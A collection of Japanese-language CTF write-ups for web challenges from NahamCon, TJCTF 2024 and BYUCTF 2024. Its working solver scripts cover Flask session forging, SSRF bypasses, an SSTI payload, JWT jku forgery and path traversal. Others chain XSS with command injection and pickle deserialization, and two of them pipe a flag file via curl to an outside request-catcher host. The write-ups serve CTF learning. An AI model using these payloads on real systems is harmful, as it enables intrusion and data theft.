ソースコード無し。サイトを巡回してソースコードを眺めると<!-- <a href="/backup" class="pl-md-0 p-3 text-white">Backup</a> !-->というのが見つかる。アクセスしてみるとソースコードが一部見える。

---------- command output: {head -n 10 app.py} ----------

from flask import (Flask, flash, redirect, render_template, request, send_from_directory, session, url_for)
from datetime import datetime

app = Flask(__name__)

c = datetime.now()
f = c.strftime("%Y%m%d%H%M")
app.secret_key = f'THE_REYNOLDS_PAMPHLET-{f}'

allowed_users = ['Jefferson', 'Madison', 'Burr'] # No Federalists Allowed!!!!

---------- command output: {head -n 10 requirements.txt} ----------

Flask==3.0.3

サイトを巡回するとログインっぽいエンドポイントがある。POST /loginというのがあるので、Burrと送ってみると、Cannot login as Burr, account is protected!と言われる。それっぽい。このログイン試行のときにもらえるsessionがflaskのもので、flask-unsignを見てみると、以下のようになっている。

$ flask-unsign -d -c ".eJwNxcENgCAMBdBV6j8zgUcdwxDTYEUTKYaWk3F3fZf3YN0vtkMM4_KA_A9FzDgLAmZWrU5XzacSG029tUCcUu3qdBrdrbokl21AfGOAchGMyF3M8X7pNCAR.ZlEpnQ.jCLHlWkQsSOuEAy0lPf2QCUwloQ"
{'_flashes': [('message', 'Cannot login as Burr, account is protected!')], 'name': 'guest'}

nameというカラムがありますね。これが偽装できればよさそう。秘密鍵は、先ほど漏洩していたソースコードにヒントがある。再掲する。

c = datetime.now()
f = c.strftime("%Y%m%d%H%M")
app.secret_key = f'THE_REYNOLDS_PAMPHLET-{f}'

時刻を取得しているが、GET /statusというエンドポイントがあり、System healthy! Computing uptime... 82817 days 15 hours 0 minutesのように起動時刻からの時間を教えてくれている。そこから起動時間を推測して辞書を作りクラックすると鍵が見つかる。

$ cat make_dic.py 
import requests, subprocess, re
from datetime import datetime, timedelta

BASE = 'http://challenge.nahamcon.com:32692/'

# calc uptime
r = requests.get(BASE + "status").text
#print(r)
match = re.search(r"(\d+)\s+days?\s+(\d+)\s+hours?\s+(\d+)\s+minutes?", r)
days = int(match.group(1))
hours = int(match.group(2))
minutes = int(match.group(3))
uptime = datetime.now() - timedelta(days=days, hours=hours, minutes=minutes)
#print(uptime)

for d in range(-1000,1000):
    cand = uptime + timedelta(minutes=d)
    print('THE_REYNOLDS_PAMPHLET-' + cand.strftime("%Y%m%d%H%M"))

#result = subprocess.run(['ls', '-l'], capture_output=True, text=True).stdout



#payload = "', (SELECT group_concat(sql) FROM sqlite_master)); --"
#payload = "', (SELECT group_concat(name) FROM users)); --"
#payload = "', (SELECT group_concat(password) FROM users)); --"
#res = requests.post(f'{BASE}/create/', data={'name':'s', 'price':payload, 'desc':'s'}).text

#print(res)
$ python3 make_dic.py > dic.txt

$ flask-unsign -c ".eJwNxcENgCAMBdBV6j8zgUcdwxDTYEUTKYaWk3F3fZf3YN0vtkMM4_KA_A9FzDgLAmZWrU5XzacSG029tUCcUu3qdBrdrbokl21AfGOAchGMyF3M8X7pNCAR.ZlEpnQ.jCLHlWkQsSOuEAy0lPf2QCUwloQ" --unsign --wordlist dic.txt --no-literal-eval
[*] Session decodes to: {'_flashes': [('message', 'Cannot login as Burr, account is protected!')], 'name': 'guest'}
[*] Starting brute-forcer with 8 threads..
[+] Found secret key after 512 attemptsLET-17970825
b'THE_REYNOLDS_PAMPHLET-179708250845'

ok. GET /とかでもらえるやつを改ざんして、nameをJeffersonにして、GET /messagesを見るとフラグが書いてあった。

$ flask-unsign -d -c "eyJuYW1lIjoiZ3Vlc3QifQ.ZlEpnQ.33Au_c9XeallX2HjDX_rJ7yOOjc"
{'name': 'guest'}
$ flask-unsign --sign --secret THE_REYNOLDS_PAMPHLET-179708250845 --cookie "{'name': 'Jefferson'}"
eyJuYW1lIjoiYWRtaW4ifQ.ZlEq1A.MfNd_XpYhjvue5aVueotFe74vm8
$ curl -b 'session=eyJuYW1lIjoiSmVmZmVyc29uIn0.ZlErHQ.9xz77ORHdCgGlfzKk23J9QHJJeY' http://challenge.nahamcon.com:32692/messages | grep flag
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100  2108  100  2108    0     0   6121      0 --:--:-- --:--:-- --:--:--  6127
            <strong>flag{■■■■■■■■■■■■■■■■■■■■■■■■■■■}</strong>

[Web] The Davinci Code

GET /codeでエラーが出る。ソースコードが一部漏洩する。

        abort(405)
    abort(404)
 
@app.route('/code')
def code():
    return render_template("code.html")
 
@app.route('/', methods=['GET', 'PROPFIND'])
def index():
    if request.method == 'GET':
        return render_template('index.html')

PROPFIND /というのができるっぽい。調べるとWebDAV

  • PROPFIND /から以下の情報が分かる
    • /__pycache__
    • /templates
    • /app.py
    • /static
    • /the_secret_dav_inci_code
  • PROPFIND /the_secret_dav_inci_codeから/the_secret_dav_inci_code/flag.txtが見つかるが、そのままでは見れない

ということで、/the_secret_dav_inci_code/flag.txtを見るために/staticに移して、それから取得することにする。以下のようにやればフラグが得られる。

$ curl -X MOVE --header 'Destination:static/flag.txt' 'http://challenge.nahamcon.com:30484/the_secret_dav_inci_code/flag.txt'

$ curl http://challenge.nahamcon.com:30484/static/flag.txt
flag{■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■}

TJCTF 2024 Writeups

https://ctftime.org/event/2321

web/frog

ソースコード無し。ribbit ribbit ribbit :( robbit robbit robbit :(と言われる。息をするように/robots.txtにアクセスする。

User-agent: *
Disallow: /secret-frogger-78570618/

/secret-frogger-78570618/にアクセスすると大量のカエルアイコンが表示される。ソースコードを見ると、1つにだけリンクが張られている。/secret-frogger-78570618/flag-ed8f2331.txtにアクセスするとフラグ獲得。

web/reader

ソースコード有り。flagの場所を確認しよう。

@app.route("/monitor")
def monitor():
    if request.remote_addr in ("localhost", "127.0.0.1"):
        return render_template(
            "admin.html", message=flag, errors="".join(log) or "No recent errors"
        )
    else:
        return render_template("admin.html", message="Unauthorized access", errors="")

/monitorに内部からアクセスできればフラグが手に入る。サイトはSSRF出来そうなインターフェースをしているのでDockerfileでポート5000が開放されているのを参考にhttp://127.0.0.1:5000/monitorを入力するとフラグが得られる。

web/fetcher

ソースコード有り。フラグの場所を確認しよう。

app.get('/flag', (req, res) => {
    if (req.ip !== '::ffff:127.0.0.1' && req.ip !== '::1' && req.ip !== '127.0.0.1')
        return res.send('bad ip');

    res.send(`hey myself! here's your flag: ${flag}`);
});

ipが内部IPであればフラグがもらえそう。内部に通信しそうな所を探すと以下。

app.post('/fetch', async (req, res) => {
    const url = req.body.url;

    if (!/^https?:\/\//.test(url))
        return res.send('invalid url');

    try {
        const checkURL = new URL(url);

        if (checkURL.host.includes('localhost') || checkURL.host.includes('127.0.0.1'))
            return res.send('invalid url');
    } catch (e) {
        return res.send('invalid url');
    }

    const r = await fetch(url, { redirect: 'manual' });

    const fetched = await r.text();

    res.send(fetched);
});

与えられたURLをパースして、localhost127.0.0.1なら弾く。localhostを指していい感じにbypass出来そうなものを適当に探してくるとhttp://[::]:3000/flagでフラグが得られた。

web/templater

ソースコード有り。

from flask import Flask, request, redirect
import re

app = Flask(__name__)

flag = open('flag.txt').read().strip()

template_keys = {
    'flag': flag,
    'title': 'my website',
    'content': 'Hello, {{name}}!',
    'name': 'player'
}

index_page = open('index.html').read()

@app.route('/')
def index_route():
    return index_page

@app.route('/add', methods=['POST'])
def add_template_key():
    key = request.form['key']
    value = request.form['value']
    template_keys[key] = value
    return redirect('/?msg=Key+added!')

@app.route('/template', methods=['POST'])
def template_route():
    s = request.form['template']
    
    s = template(s)

    if flag in s[0]:
        return 'No flag for you!', 403
    else:
        return s

def template(s):
    while True:
        m = re.match(r'.*({{.+?}}).*', s, re.DOTALL)
        if not m:
            break

        key = m.group(1)[2:-2]

        if key not in template_keys:
            return f'Key {key} not found!', 500

        s = s.replace(m.group(1), str(template_keys[key]))

    return s, 200

if __name__ == '__main__':
    app.run(port=5000)

ざっくり説明するとPOST /template{{key}}の形を手動で展開するテンプレートエンジンが動いていて、{{flag}}とするとフラグに変換してくれる。しかし、変換後のチェックでフラグが含まれているとNo flag for you!と言われるので、単純には取り出せない。…と、考えていると天啓が下りる。template関数の以下の部分を活用する。

if key not in template_keys:
    return f'Key {key} not found!', 500

この応答はそのまま出力に変えるので、うまくここに入れることができれば外部に持って来ることができそうである。つまり、{{{{flag}}}}というのを送る。初回で{{flag}}が変換され、{{tjctf{hogehoge}}}のようになり、次のループでtjctf{hogehogeがkeyとして認識されるが、これは辞書にはないのでエラー応答になって帰ってくる。テンプレートエンジンのフォーマットの問題でうまく末尾の}が消えるので出力時フィルタリングも回避し、}が抜けたフラグが手に入る。

web/music-checkout

ソースコード有り。読んでいくとSSTI脆弱性がある。不要な点を除いた関連部分を見てみると以下のようになる。

@app.route("/create_playlist", methods=["POST"])
def post_playlist():
    …
        username = request.form["username"]
    …
        filled = render_template("playlist.html", username=username, songs=text)
        this_id = str(uuid.uuid4())
        with open(f"templates/uploads/{this_id}.html", "w") as f:
            f.write(filled)
    …


@app.route("/view_playlist/<uuid:name>")
def view_playlist(name):
    name = str(name)
    …
        return render_template(f"uploads/{name}.html")
    …

playlist.htmlのusernameを見ると<p class="item">ORDER #0001 for {{ username|safe }}</p>となってsafeが付いているので邪魔もしない。ということでusernameに{{config}}を入れて表示させてみる。

ORDER #0001 for <Config {'DEBUG': False, 'TESTING': False, 'PROPAGATE_EXCEPTIONS': None, 'SECRET_KEY': None, 'PERMANENT_SESSION_LIFETIME': datetime.timedelta(days=31), 'USE_X_SENDFILE': False, 'SERVER_NAME': None, 'APPLICATION_ROOT': '/', 'SESSION_COOKIE_NAME': 'session', 'SESSION_COOKIE_DOMAIN': None, 'SESSION_COOKIE_PATH': None, 'SESSION_COOKIE_HTTPONLY': True, 'SESSION_COOKIE_SECURE': False, 'SESSION_COOKIE_SAMESITE': None, 'SESSION_REFRESH_EACH_REQUEST': True, 'MAX_CONTENT_LENGTH': None, 'SEND_FILE_MAX_AGE_DEFAULT': None, 'TRAP_BAD_REQUEST_ERRORS': None, 'TRAP_HTTP_EXCEPTIONS': False, 'EXPLAIN_TEMPLATE_LOADING': False, 'PREFERRED_URL_SCHEME': 'http', 'TEMPLATES_AUTO_RELOAD': None, 'MAX_COOKIE_SIZE': 4093}>

ok。いいですね。RCEしましょう。{{request.application.__globals__.__builtins__.__import__('os').popen('cat /app/flag.txt').read()}}をusernameにするとフラグが得られる。

web/topplecontainer

ソースコード有り。flagの場所を探すと以下にある。

@app.route("/flag")
@login_required()
def get_flag(user):
    if user["id"] == "admin":
        return flag
    else:
        return "admins only! shoo!"

GET /flagをadminユーザーで入れればフラグ。ログイン管理はJWTでやっていて以下のように検証している。

def verify_token(token):
    try:
        header = jwt.get_unverified_header(token)
        jku = header["jku"]
        with open(f"static/{jku}", "r") as f:
            keys = json.load(f)["keys"]
        kid = header["kid"]
        for key in keys:
            if key["kid"] == kid:
                public_key = jwt.algorithms.ECAlgorithm.from_jwk(key)
                payload = jwt.decode(token.encode(), public_key, algorithms=["ES256"])
                return payload
    except Exception:
        pass
    return None

jkuを使っていますね。任意のファイルがアップロードできれば検証を通過させられそう…と思っているとアップロードポイントがある。

@app.route("/upload", methods=["POST"])
@login_required()
def post_upload(user):
    if "file" not in request.files:
        return redirect(request.url + "?err=No+file+provided")
    file = request.files["file"]
    if file.filename == "":
        return redirect("/?err=Attached+file+has+no+name")
    if file:
        uid = user["id"]
        fid = str(uuid.uuid4())
        folder = os.path.join(os.getcwd(), f"uploads/{uid}")
        os.makedirs(folder, exist_ok=True)
        file.save(os.path.join(folder, fid))
        f = File(fid, file.filename, file.mimetype)
        if uid not in user_files:
            user_files[uid] = {}
        user_files[uid][fid] = f
    return redirect(f"/?success=Successfully+uploaded+file&path={uid}/{fid}")

ということで、アップロードして、それを参照させることで検証を通過させてみましょう。ECのキーペアを作成し、秘密鍵をPEM形式で、公開鍵はJWK形式で出力させます。ChatGPTが数秒で吐いてきたものが以下です。

from cryptography.hazmat.primitives.asymmetric import ec
from cryptography.hazmat.primitives import serialization
from jwcrypto import jwk

# EC鍵ペアを生成
private_key = ec.generate_private_key(ec.SECP256R1())

# 秘密鍵をPEM形式でシリアライズ
private_pem = private_key.private_bytes(
    encoding=serialization.Encoding.PEM,
    format=serialization.PrivateFormat.TraditionalOpenSSL,
    encryption_algorithm=serialization.NoEncryption()
)
with open("ec_private_key.pem", "w") as private_file:
    private_file.write(private_pem.decode())

# 公開鍵をPEM形式でシリアライズ
public_key = private_key.public_key()
public_pem = public_key.public_bytes(
    encoding=serialization.Encoding.PEM,
    format=serialization.PublicFormat.SubjectPublicKeyInfo
)

# JWK形式に変換
jwk_public = jwk.JWK.from_pem(public_pem)

# JWK形式の鍵をファイルに保存
with open("ec_public_key.jwk", "w") as public_file:
    public_file.write(jwk_public.export())

print("鍵ペアをJWK形式でファイルに保存しました。")

ok.あとは、以下の手順でフラグが得られる。

  1. 以下のような形でkey.jsonを用意してアップロードする
{
    "keys": [
        <<< ここにec_public_key.jwk >>>
    ]
}
  1. jwt.ioとかで以下のようなJWTトークン作成
header
{
  "alg": "ES256",
  "jku": "../uploads/0d251448-ac71-4a1d-b702-136b1f2ad17d/bda5c410-5232-445f-8c1a-ff3a4b88a0ea", ← upload先
  "kid": "3mSwZOST2mdZvksPveW0VVzIkq0C0sEHwlxC3OhR4LE", ← 生成したキーペアのkid
  "typ": "JWT"
}

payload
{
  "id": "admin"
}
  1. 以下のようにGET /flagする
GET /flag HTTP/2
Host: topplecontainer.tjc.tf
Cookie: token=eyJhbGciOiJFUzI1NiIsImprdSI6Ii4uL3VwbG9hZHMvMGQyNTE0NDgtYWM3MS00YTFkLWI3MDItMTM2YjFmMmFkMTdkL2JkYTVjNDEwLTUyMzItNDQ1Zi04YzFhLWZmM2E0Yjg4YTBlYSIsImtpZCI6IjNtU3daT1NUMm1kWnZrc1B2ZVcwVlZ6SWtxMEMwc0VId2x4QzNPaFI0TEUiLCJ0eXAiOiJKV1QifQ.eyJpZCI6ImFkbWluIn0._k6T_FenUSRVYQ2g4Fu0lBUo8sNZXOtwtPRQdLTtKcjtu9Ye-89qxcZSAAW3Lkm9u1fMDkecCGoLDSBE6HLurQ

web/kaboot

ソースコード有り。Kahoot!のようなサイトが与えられる。フラグは以下にある。f'omg congrats, swiftie!!! {flag}' if get_score(scores, room_id, data['id']) >= 1000 * len(kahoot['questions']) else 'sucks to suck brooooooooo'にあるようにスコアが特定以上だともらえるようだ。

@sock.route('/room/<room_id>')
def room_sock(sock, room_id):
    sock.send(b64encode(kahoot['name'].encode()))
    scores = get_room_scores(room_id)
    for i, q in enumerate(kahoot['questions']):
        sock.send(b64encode(json.dumps({
            'send_time': time(),
            'scores': scores,
            **q,
        }).encode()))

        data = sock.receive()
        data = json.loads(b64decode(data).decode())

        send_time = data['send_time']
        recv_time = time()

        if (scores := get_room_scores(room_id)) is not None and send_time >= time():
            sock.send(b64encode(json.dumps({
                'scores': scores,
                'end': True,
                'message': '???'
            }).encode()))
            return

        if i == 0:
            edit_score(scores, room_id, data['id'], 0)

        if data['answer'] == q['answer']:
            edit_score(scores,
                       room_id,
                       data['id'],
                       get_score(scores, room_id, data['id']) + 1000 + max((send_time - recv_time) * 50, -500))

    sock.send(b64encode(json.dumps({
        'scores': scores,
        'end': True,
        'message': f'omg congrats, swiftie!!! {flag}' if get_score(scores, room_id, data['id']) >= 1000 * len(kahoot['questions']) else 'sucks to suck brooooooooo'
    }).encode()))

ソースコードを読んでもいいのですが、動かしてみるとwebsocket経由で

{"send_time": 1716177131.8692849, "scores": [], "question": "what is the best taylor swift song?", "answers": ["cruel summer", "daylight (stosp's version)", "all too well (10 minute version)", "all too well (5 minute version)"], "answer": 1}

このように、answerが帰ってきていたり、その応答として

{"id":"cfa6030d-6c73-c262-b872-b37e2c045dd3","answer":0,"send_time":1716177131.8692849}

というのを返す。最初、send_timeを未来のものにすればいいかとも思ったがif (scores := get_room_scores(room_id)) is not None and send_time >= time():で対策がされている。解法は、同じセッションでゲームをやり直すこと。この解法は以下の処理でブロックされているように見える。

if i == 0:
    edit_score(scores, room_id, data['id'], 0)

ここで、第三引数がdataから持ってきている所に違和感がある。dataはdata = sock.receive()にあるようにwebsocket経由で受け取ったものなので、外部から差し込み可能になっている。つまり、この初期化処理を別のidに対して行うことで初期化処理を回避できるのではないかという仮説が立ち、ソースを読んでみると実現可能であることが分かる。

def edit_score(scores, room_id, uid, new_score):
    for i, score_data in enumerate(scores):
        if score_data[1] == uid:
            scores[i][2] = new_score
            return scores

    all_scores.append([room_id, uid, new_score])
    scores.append(all_scores[-1])
    return scores


def get_score(scores, room_id, uid):
    for score_data in scores:
        if score_data[0] == room_id and score_data[1] == uid:
            return score_data[2]

    return 0

…

edit_score(scores,
            room_id,
            data['id'],
            get_score(scores, room_id, data['id']) + 1000 + max((send_time - recv_time) * 50, -500))

更新処理はこのような感じ。get_scoreで取得して、edit_scoreで取得している。room_idとuidで取得はしているが特に問題番号での重複確認とかは無く、取得して足して入れているだけ。ok. つまり、以下のような手順でやってやれば、2週目でも点数が合算されてフラグが手に入る。

  1. user1で1週クリアする(答えが問題文提供時に一緒に送られてくるので全問正解できる。自動化してもフラグ獲得までには届かない
  2. 2週目の1問目だけuser2にして答える。 {'id': 'user2', 'answer': resp'answer', 'send_time': 'send_time'} みたいにする
  3. 他の問題はuser1でクリアする

以下、上記の処理を自動化したもの(簡略化のため、1週目の1問目もuser2にしているが、そこは気にせず読んで下さい)。応答にフラグが出てくる。

import asyncio, websockets, binascii, random, string, json
from base64 import b64decode, b64encode

async def solve():
    #uri = "ws://localhost:4444"
    uri = 'wss://kaboot-b7598a0831b4faf3.tjc.tf'
    room_id = "".join(random.choices(string.ascii_letters, k=8))

    for _ in range(2):
        async with websockets.connect(uri + '/room/' + room_id) as websocket:
            resp = await websocket.recv()

            for i in range(10):
                resp = await websocket.recv()
                resp = json.loads(b64decode(resp).decode())

                print(resp)

                if 'end' in resp:
                    break

                await websocket.send(b64encode(json.dumps({
                    'id': 'user2' if i == 0 else 'user1',
                    'answer': resp['answer'],
                    'send_time': resp['send_time'],
                }).encode()))

            resp = await websocket.recv()
            resp = json.loads(b64decode(resp).decode())

            print(resp)
        
asyncio.get_event_loop().run_until_complete(solve())

BYUCTF 2024 Writeups

https://ctftime.org/event/2252

[Web] Random

ソースコード有り。ファイルを閲覧できるサイトが与えられるが、利用するにはまず、以下の検証を突破する必要がある。

time_started = round(time.time())
APP_SECRET = hashlib.sha256(str(time_started).encode()).hexdigest()


# check authorization before request handling
@app.before_request
def check_auth():
    # ensure user is an administrator
    session = request.cookies.get('session', None)

    if session is None:
        abort(403)

    try:
        payload = jwt.decode(session, APP_SECRET, algorithms=['HS256'])
        if payload['userid'] != 0:
            abort(401)
    except:
        abort(Response(f'<h1>NOT AUTHORIZED</h1><br><br><br><br><br> This system has been up for {round(time.time()-time_started)} seconds fyi :wink:', status=403))

検証を突破するJWTトークンを作成する必要があるのだが、脆弱な部分が鍵をサーバ起動時の現在時刻から生成している部分。今回は検証に失敗しexceptに入ると、サーバが起動してからの時間が取得できる。この情報から、サーバの起動時間が逆算でき、つまり、鍵が復元できる。PoCは後で共有するとして、認証を突破できたら、フラグは/in_prod_this_is_random/flag.txtにあるので、これを何とか持って来る必要がある。以下の部分でファイルが持ってこれそうだ。

# get a file
@app.route('/api/file', methods=['GET'])
def get_file():
    filename = request.args.get('filename', None)

    if filename is None:
        abort(Response('No filename provided', status=400))

    # prevent directory traversal
    while '../' in filename:
        filename = filename.replace('../', '')

    # get file contents
    return open(os.path.join('files/', filename),'rb').read()

os.path.joinは妙な動きをすることが知られており、第二引数に絶対パスが与えられると全体がその絶対パスに上書きされるということが起こる。よって、filepathに/in_prod_this_is_random/flag.txtと指定すれば、../で戻ることなくルートからファイルを指定可能。…とやると失敗。in_prod_this_is_randomというのをちゃんと読んでなかったが、このパスもどこかから持って来る必要があるようだ。これは/proc/self/environを取得すると取れた。ということで以下のスクリプトでフラグが得られる。

import requests
import jwt, re, time, hashlib

BASE = 'https://random.chal.cyberjousting.com'
#BASE = 'http://localhost:40000'

def get_token(secret):
    return jwt.encode({ "userid" : 0 }, secret, algorithm="HS256")

def test(secret):
    r = requests.get(f"{BASE}/", cookies={"session":get_token(secret)})
    return r.status_code != 403

r = requests.get(F"{BASE}/", cookies={"session":"hoge"}).text
running_time = int(re.search(r'(\d+) seconds', r).group(1))
calcurated_time_started = round(time.time()) - running_time
actual_time_started = -1

for d in range(-1,2):
    secret = hashlib.sha256(str(calcurated_time_started + d).encode()).hexdigest()
    if test(secret) == True:
        actual_time_started = calcurated_time_started + d

assert 0 < actual_time_started

secret = hashlib.sha256(str(actual_time_started).encode()).hexdigest()
secret_path = requests.get(f"{BASE}/api/file?filename=/proc/self/environ", cookies={"session":get_token(secret)}).text.split('/')[-1][:-1]
r = requests.get(f"{BASE}/api/file?filename=/{secret_path}/flag.txt", cookies={"session":get_token(secret)}).text
print(r)

[Web] Not a Problem

ソースコード有り。admin botpythonで作られたサイトが与えられる。pythonで作られた方で面白そうなのは以下の関数。

# current date
@app.route('/api/date', methods=['GET'])
def get_date():
    # get "secret" cookie
    cookie = request.cookies.get('secret')

    # check if cookie exists
    if cookie == None:
        return '{"error": "Unauthorized"}'
    
    # check if cookie is valid
    if cookie != SECRET:
        return '{"error": "Unauthorized"}'
    
    modifier = request.args.get('modifier','')
    
    return '{"date": "'+subprocess.getoutput("date "+modifier)+'"}'

明らかなコマンドインジェクションがある。試しにdateを含めたURLをbotに送ってみるとエラーが出た。admin bot側でdateが含まれているか検証していた。

if (url.includes("date") || url.includes("%")) {
    res.send('Error: "date" is not allowed in the URL')
    return
}

何か別の方法を考えよう。以下の部分はどうだろうか。

# get stats
@app.route('/api/stats/<string:id>', methods=['GET'])
def get_stats(id):
    for stat in stats:
        if stat['id'] == id:
            return str(stat['data'])
        
    return '{"error": "Not found"}'


# add stats
@app.route('/api/stats', methods=['POST'])
def add_stats():
    try:
        username = request.json['username']
        high_score = int(request.json['high_score'])
    except:
        return '{"error": "Invalid request"}'
    
    id = str(uuid.uuid4())

    stats.append({
        'id': id,
        'data': [username, high_score]
    })
    return '{"success": "Added", "id": "'+id+'"}'

入力を入れて出力しているがXSS対策がなされているようには見えない。試しに以下のようにXSSコードを入れ込んでみるとsタグが動くことが確認できた。

import requests
import json

BASE = 'http://localhost:40001'

t = requests.post(f"{BASE}/api/stats", json={'username':'<s>asdf<\s>','high_score':1}).text
generated_id = json.loads(t)['id']

t = requests.get(f"{BASE}/api/stats/{generated_id}").text
print(f"{BASE}/api/stats/{generated_id}")
print(t)

ということで、この部分をリダイレクタとして活用することにしよう。XSSでリダイレクトしてコマンドインジェクションして外部送信するURLを作るPoCは以下。

import requests
import json
import urllib.parse

#BASE = 'http://localhost:40001'
BASE = 'https://not-a-problem.chal.cyberjousting.com'

command = 'cat /ctf/flag.txt | curl https://[yours].requestcatcher.com/ -X POST -d @-'
command = urllib.parse.quote(command)
payload = "<meta http-equiv=refresh content='0; url=http://127.0.0.1:1337/api/date?modifier=`" + command + "`'>"
t = requests.post(f"{BASE}/api/stats", json={'username':payload,'high_score':1}).text
generated_id = json.loads(t)['id']

t = requests.get(f"{BASE}/api/stats/{generated_id}").text
print(f"{BASE}/api/stats/{generated_id}")
print(t)

得られたURLを踏ませれば、requestcatherにフラグが飛んでくる。

[Web] Triple Whammy

ソースコード有り。まず、明らかなXSSポイントがある。

# index
@app.route('/', methods=['GET'])
def main():
    name = request.args.get('name','')

    return 'Nope still no front end, front end is for noobs '+name

admin botもあり、cookieでSECRETを渡していて、以下のようにSECRETを検証している所があるので、これを踏ませるのだろう。

# query
@app.route('/query', methods=['POST'])
def query():
    # get "secret" cookie
    cookie = request.cookies.get('secret')

    # check if cookie exists
    if cookie == None:
        return {"error": "Unauthorized"}
    
    # check if cookie is valid
    if cookie != SECRET:
        return {"error": "Unauthorized"}
    
    # get URL
    try:
        url = request.json['url']
    except:
        return {"error": "No URL provided"}

    # check if URL exists
    if url == None:
        return {"error": "No URL provided"}
    
    # check if URL is valid
    try:
        url_parsed = urlparse(url)
        if url_parsed.scheme not in ['http', 'https'] or url_parsed.hostname != '127.0.0.1':
            return {"error": "Invalid URL"}
    except:
        return {"error": "Invalid URL"}
    
    # request URL
    try:
        requests.get(url)
    except:
        return {"error": "Invalid URL"}
    
    return {"success": "Requested"}

特に気になる所は無い。特筆すべき所として、internal.pyというのが別途動いている。これをこの/query経由で呼ぶのだろう。

# imports
from flask import Flask, request
import pickle, random


# initialize flask
app = Flask(__name__)
port = random.randint(5700, 6000)
print(port)


# index
@app.route('/pickle', methods=['GET'])
def main():
    pickle_bytes = request.args.get('pickle')

    if pickle_bytes is None:
        return 'No pickle bytes'
    
    try:
        b = bytes.fromhex(pickle_bytes)
    except:
        return 'Invalid hex'
    
    try:
        data = pickle.loads(b)
    except:
        return 'Invalid pickle'

    return str(data)


if __name__ == "__main__":
    app.run(host='0.0.0.0', port=port, threaded=True)

pickleのデリアライズをするが、ポートがランダムで指定されている。なので、XSSでポートスキャンして、そのあと、Pickleのシリアライズ物を送ってやる。後は既存手法の組み合わせ。以下のようなPoCコード。

pickle作るときに先頭に0x00を4つつけるものとそうでないものがあるけれど、どういう条件の違いがあるんだろう。b"\x00"*4 + payloadみたいなやつ。

import requests
from urllib.parse import quote

CATCHER = 'https://[yours].requestcatcher.com/out'

payload = '''
<script>
for (let port = 5700; port <= 6000; port++) {
    const url = 'http://127.0.0.1:' + port.toString();
    fetch(url, {mode: 'no-cors'}).then(res => {
        fetch('<<<CATCHER>>>', { method: "POST", body: port })
    });
}
</script>
'''
payload = payload.replace("<<<CATCHER>>>", CATCHER)

print('====== STAGE 1 =======')
print('?name='+quote(payload))

# POST = 5863

import pickle
import os

class RCE:
    def __reduce__(self):
        cmd = ('cat /ctf/flag.txt | curl https://[yours].requestcatcher.com/out -X POST -d @-')
        return os.system, (cmd,)

def generate_exploit():
    payload = pickle.dumps(RCE())
    return payload

payload = '''
<script>
fetch('http://127.0.0.1:5863/pickle?pickle=<<<PICKLED>>>', {mode: 'no-cors'}).then(response => {
    fetch('<<<CATCHER>>>', { method: "POST", body: "launched!"});
});
</script>
'''
payload = payload.replace("<<<CATCHER>>>", CATCHER)
payload = payload.replace("<<<PICKLED>>>", generate_exploit().hex())

print('====== STAGE 2 =======')
print('?name='+quote(payload))

STAGE 1でポートを特定し、STAGE 2でRCE。

[Web] Argument 解けなかった

公式解説はここHTBだったかでこのテク見たことあるな… 攻撃テクの日本語解説はこれです